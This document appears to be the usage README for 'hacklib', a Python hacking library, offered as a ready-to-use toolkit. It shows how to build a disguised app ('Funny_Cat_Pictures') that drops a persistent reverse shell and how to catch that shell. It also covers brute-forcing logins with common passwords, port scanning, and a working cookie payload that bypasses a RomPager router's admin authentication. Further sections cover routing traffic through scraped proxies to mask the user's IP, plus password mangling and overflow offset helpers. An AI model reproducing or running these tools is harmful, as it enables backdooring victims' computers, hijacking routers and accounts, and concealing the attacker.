hacklib - Pentesting, Port Scanning, and Logging in anywhere with Python

pip install hacklib

python hacklib.py
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Hey. What can I do you for?


Enter the number corresponding to your choice.

1) Connect to a proxy
2) Target an IP or URL
3) Lan Scan
4) Create Backdoor
5) Server
6) Exit

import hacklib
hacklib.userInterface()

hacklib.installDependencies()

import hacklib

bd = hacklib.Backdoor()
# Generates an app that, when ran, drops a persistent reverse shell into the system.
bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')
# Takes the IP and port of the command server, the OS of the target, and the name of the .app

>>> import hacklib
>>> s = hacklib.Server(9090) # Bind server to port 9090
>>> s.listen() 
New connection ('127.0.0.1', 50011) # Target ran the app (connection retried every 60 seconds)
bash: no job control in this shell
bash$ whoami # Type a command
leon
bash$ # Nice!

import hacklib

ac = hacklib.AuthClient()
# Logging into a gmail account
htmldata = ac.login('https://gmail.com', 'email', 'password')

# Check for a string in the resulting page
if 'Inbox' in htmldata: print 'Login Success.'
else: print 'Login Failed.'

# For logins using HTTP Basic Auth:
try: 
    htmldata = ac.login('http://somewebsite.com', 'admin', 'password')
except: pass #login failed

import hacklib

ac = hacklib.AuthClient()
# Get the top 100 most common passwords
passwords = hacklib.topPasswords(100)

for p in passwords:
    htmldata = ac.login('http://yourwebsite.com/login', 'admin', p)
    if htmldata and 'welcome' in htmldata.lower():
        print 'Password is', p
        break

from hacklib import *

ps = PortScanner()
ps.scan(getIP('yourwebsite.com'))
# By default scans the first 1024 ports. Use ps.scan(IP, port_range=(n1, n2), timeout=i) to change default

# After a scan, open ports are saved within ps for reference
if ps.portOpen(80):
    # Establish a TCP stream and sends a message
    send(getIP('yourwebsite.com'), 80, message='GET HTTP/1.1 \r\n')

>>> import hacklib

# Discovery
>>> ps = hacklib.PortScanner()
>>> ps.scan('192.168.1.1', (80, 81))
Port 80:
HTTP/1.1 200
Content-Type: text/html
Transfer-Encoding: chunked
Server: RomPager/4.07 UPnP/1.0
EXT:
# The banner for port 80 shows us that the server uses RomPager 4.07. This version is exploitable.

# Exploitation
>>> payload = '''GET /HTTP/1.1
Host: 192.168.1.1
User-Agent: googlebot
Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB\x00''' + '\r\n\r\n'
>>> hacklib.send('192.168.1.1', 80, payload)
# The cookie replaced the firmware's memory allocation for web authentication with a null bye.
# The router's admin page is now fully accessible from any web browser.

import hacklib
ftp = hacklib.FTPAuth('127.0.0.1', 21)
try:
    ftp.login('username', 'password')
except:
    print 'Login failed.'

>>> import hacklib
>>> import urllib2
>>> proxylist = hacklib.getProxies() # scrape recently added socks proxies from the internet
>>> proxy = hacklib.Proxy()
>>> proxy.connect(proxylist) # automatically find and connect to a working proxy in proxylist
>>> proxy.IP
u'41.203.214.58'
>>> proxy.port
65000
>>> proxy.country
u'KE'
# All Python network activity across all modules are routed through the proxy:
>>> urllib2.urlopen('http://icanhazip.com/').read() 
'41.203.214.58\n'
# Notes: Only network activity via Python are masked by the proxy.
# Network activity on other programs such as your webbrowser remain unmasked.
# To filter proxies by country and type:
# proxylist = hacklib.getProxies(country_filter = ('RU', 'CA', 'SE'), proxy_type='Socks5')

from hacklib import *

word = Mangle("Test", 0, 10, 1990, 2016)

word.Leet()
word.Numbers()
word.Years()

from hacklib import *

Pattern = PatternCreate(100)

Pattern.generate()

from hacklib import *

Offset = PatternOffset("6Ab7")

Offset.find()

[+] Offset: 50